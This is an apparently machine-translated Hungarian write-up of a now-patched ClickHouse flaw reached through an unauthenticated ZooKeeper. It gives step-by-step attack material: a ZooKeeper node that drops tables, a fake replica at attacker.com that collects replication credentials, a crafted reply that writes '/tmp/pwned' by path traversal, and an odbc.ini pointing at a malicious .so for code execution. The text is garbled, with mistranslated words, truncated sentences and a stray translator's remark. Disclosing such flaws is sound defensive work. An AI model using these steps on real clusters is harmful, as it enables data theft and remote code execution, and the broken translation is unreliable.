Ez a cikk a ClickHouse replikációs protokoll egy nagyon sajátos sebezhetőségének történetét mutatja be, és azt is bemutatja, hogyan bővíthető a támadási felület.
A ClickHouse egy adatbázis nagy mennyiségű adat tárolására, leggyakrabban egynél több replikát használva. A ClickHouse fürtözése és replikációja a tetejére épül
Az alapértelmezett ZK-telepítés nem igényel hitelesítést, így a Kafka, Hadoop, ClickHouse konfigurálásához használt ZK-szerverek ezrei nyilvánosak.
A támadási felület csökkentése érdekében a ZooKeeper telepítésekor mindig konfigurálja a hitelesítést és az engedélyezést
Természetesen van néhány 0 napos Java deserializáció, de képzeljük el, hogy egy támadó olvasni és írni tud a ZooKeeper-be, amelyet a ClickHouse replikációhoz használnak.
Fürt módban konfigurálva a ClickHouse támogatja az elosztott lekérdezéseket /clickhouse/task_queue/ddl
.
Például létrehoz egy csomópontot /clickhouse/task_queue/ddl/query-0001
tartalommal:
version: 1
query: DROP TABLE xxx ON CLUSTER test;
hosts: ['host1:9000', 'host2:9000']
és ezt követően a teszttábla törlődik a host1 és host2 fürtkiszolgálókon. A DDL támogatja a CREATE/ALTER/DROP lekérdezések futtatását is.
Ijesztően hangzik? De honnan szerezhet szervercímeket a támadó?
CREATE TABLE foobar
(
`action_id` UInt32 DEFAULT toUInt32(0),
`status` String
)
ENGINE=ReplicatedMergeTree(
'/clickhouse/tables/01-01/foobar/', 'chXX')
ORDER BY action_id;
csomópontok jönnek létre oszlopok и metaadatok.
Tartalom /clickhouse/tables/01/foobar/replicas/chXX/hosts:
host: chXX-address
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http
Lehetséges adatokat egyesíteni ebből a fürtből? Igen, ha a replikációs port (TCP/9009
) a szerveren chXX-address
a tűzfal nem záródik be, és a replikáció hitelesítése nem lesz konfigurálva. Hogyan lehet megkerülni a hitelesítést?
A támadó új replikát hozhat létre a ZK-ban a tartalom egyszerű másolásával /clickhouse/tables/01-01/foobar/replicas/chXX
és megváltoztatja a jelentését host
.
Tartalom /clickhouse/tables/01–01/foobar/replicas/attacker/host:
host: attacker.com
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http
Ezután közölnie kell a többi replikával, hogy van egy új adatblokk a támadó szerverén, amelyet fel kell venniük – egy csomópont jön létre a ZK-ban. /clickhouse/tables/01-01/foobar/log/log-00000000XX
(XX monoton növekvő számláló, amelynek nagyobbnak kell lennie, mint az eseménynapló utolsó számlálója):
format version: 4
create_time: 2019-07-31 09:37:42
source replica: attacker
block_id: all_7192349136365807998_13893666115934954449
get
all_0_0_2
ahol forrás_replika — a támadó előző lépésben létrehozott replikájának neve, block_id — adatblokk azonosító, kap - "get block" parancs (és
Ezután minden replika beolvas egy új eseményt a naplóban, és a támadó által vezérelt kiszolgálóra megy, hogy fogadjon egy adatblokkot (a replikációs protokoll bináris, a HTTP-n fut). szerver attacker.com
kéréseket kap:
POST /?endpoint=DataPartsExchange:/clickhouse/tables/01-01/default/foobar/replicas/chXX&part=all_0_0_2&compress=false HTTP/1.1
Host: attacker.com
Authorization: XXX
ahol XXX a replikáció hitelesítési adatai. Bizonyos esetekben ez egy olyan fiók lehet, amely hozzáféréssel rendelkezik az adatbázishoz a fő ClickHouse protokollon és a HTTP protokollon keresztül. Mint láthatta, a támadási felület kritikusan nagy lesz, mert a replikációhoz használt ZooKeeper hitelesítés nélkül maradt.
Nézzük meg a replikából egy adatblokk beszerzésének funkcióját, teljes biztonsággal meg van írva, hogy minden replika megfelelő ellenőrzés alatt áll, és bizalom van közöttük.
replikáció feldolgozó kód
A függvény beolvassa a fájlok listáját, majd a nevüket, méretüket, tartalmukat, majd beírja a fájlrendszerbe. Érdemes külön leírni, hogyan tárolódnak az adatok a fájlrendszerben.
Számos alkönyvtár található benne /var/lib/clickhouse
(alapértelmezett tárolási könyvtár a konfigurációs fájlból):
zászlók - könyvtár a felvételhez
tmp — könyvtár az ideiglenes fájlok tárolására;
user_files — a kérésekben lévő fájlokkal végzett műveletek erre a könyvtárra korlátozódnak (INTO OUTFILE és mások);
metaadatok — sql fájlok táblázatleírásokkal;
preprocessed_configs - származtatott konfigurációs fájlok feldolgozása innen /etc/clickhouse-server
;
dátum - a tényleges könyvtár magával az adatokkal, ebben az esetben minden adatbázishoz egyszerűen létrejön egy külön alkönyvtár (pl. /var/lib/clickhouse/data/default
).
Minden táblához létrejön egy alkönyvtár az adatbázis-könyvtárban. Minden oszlop külön fájl attól függően
action_id.bin
action_id.mrk2
checksums.txt
columns.txt
count.txt
primary.idx
status.bin
status.mrk2
A replika elvárja, hogy azonos nevű fájlokat kapjon egy adatblokk feldolgozása során, és semmilyen módon nem érvényesíti azokat.
A figyelmes olvasó valószínűleg már hallott a file_name nem biztonságos összefűzéséről egy függvényben WriteBufferFromFile
. Igen, ez lehetővé teszi a támadó számára, hogy tetszőleges tartalmat írjon az FS bármely, felhasználói jogokkal rendelkező fájljába clickhouse
. Ehhez a támadó által vezérelt replikának a következő választ kell adnia a kérésre (sortörések kerültek hozzáadásra a könnyebb érthetőség érdekében):
x01
x00x00x00x00x00x00x00x24
../../../../../../../../../tmp/pwned
x12x00x00x00x00x00x00x00
hellofromzookeeper
és összefűzés után ../../../../../../../../../tmp/pwned
a fájl meg lesz írva /tmp/pwned tartalommal hellofrom zookeeper.
Számos lehetőség van a fájlírási képesség távoli kódvégrehajtássá (RCE) való átalakítására.
Külső szótárak az RCE-ben
A régebbi verziókban a ClickHouse beállításokkal rendelkező könyvtárat felhasználói jogokkal tárolták clickhouse alapértelmezett. A beállítási fájlok XML-fájlok, amelyeket a szolgáltatás beolvas az indításkor, majd gyorsítótárazza /var/lib/clickhouse/preprocessed_configs
. Amikor változások történnek, a rendszer újraolvassa azokat. Ha van hozzáférése /etc/clickhouse-server
a támadó létrehozhatja a sajátját root
.
ODBC az RCE-hez
Egy csomag telepítésekor létrejön egy felhasználó clickhouse
, de a saját könyvtára nem jön létre /nonexistent
. Külső szótárak használatakor vagy egyéb okokból azonban az adminisztrátorok létrehoznak egy könyvtárat /nonexistent
és adja meg a felhasználónak clickhouse
hozzáférést írni hozzá (SSZB! kb. fordító).
ClickHouse támogatja odbc-bridge
, így a kérésből már nem lehet megadni az illesztőprogram elérési útját. De írhat-e egy támadó a saját könyvtárba a fent leírt biztonsági réssel?
Hozzunk létre egy fájlt ~/.odbc.ini
ilyen tartalommal:
[lalala]
Driver=/var/lib/clickhouse/user_files/test.so
majd indításkor SELECT * FROM odbc('DSN=lalala', 'test', 'test');
a könyvtár betöltődik test.so
és RCE-t kapott (köszönöm
Ezeket és más biztonsági réseket a ClickHouse 19.14.3-as verziójában javították. Vigyázzon ClickHouse-jára és ZooKeepereire!
Forrás: will.com